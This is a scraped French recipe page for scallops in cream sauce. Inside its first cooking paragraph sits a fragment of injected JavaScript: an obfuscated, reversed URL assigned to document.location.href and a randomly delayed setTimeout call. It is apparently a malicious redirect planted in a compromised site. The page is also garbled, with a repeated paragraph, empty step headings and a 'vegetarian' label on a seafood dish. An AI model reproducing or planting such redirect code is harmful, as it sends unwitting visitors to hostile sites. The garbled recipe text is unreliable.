Noix Saint-Jacques à la crème
2021-05-07- Thématique : Végétarien
- Niveau : Difficile
Pelez, émincez les échalotes. Dans une poêle avec une noix de beurre et 1 cuillère à soupe de colza. Faites revenir les échalotes, sur feu moyen tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant et sans coloration.
Ingrédients
Pelez, émincez les échalotes. Dans une poêle avec une noix de beurre et 1 cuillère à soupe de colza. Faites revenir les échalotes, sur feu moyen tout en remuant et sans coloration. Mouillez avec le vin blanc. Portez à ébullition et Laissez réduire de moitié sur feu doux. Versez la crème fleurette tout en mélangeant. Ajoutez les ciboulettes ciselées. Salez, poivrez. Dans une autre poêle avec du beurre, sur feu vif, faites cuire les noix Saint-Jacques pendant 1 minutes de chaque côté.
Déposez 5 noix de Saint-Jacques dans chaque assiette, versez la sauce chaude dessus. Dégustez rapidement.
Préparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
Etape 5
Etape 6
Etape 7
Etape 8
Etape 9
Etape 10
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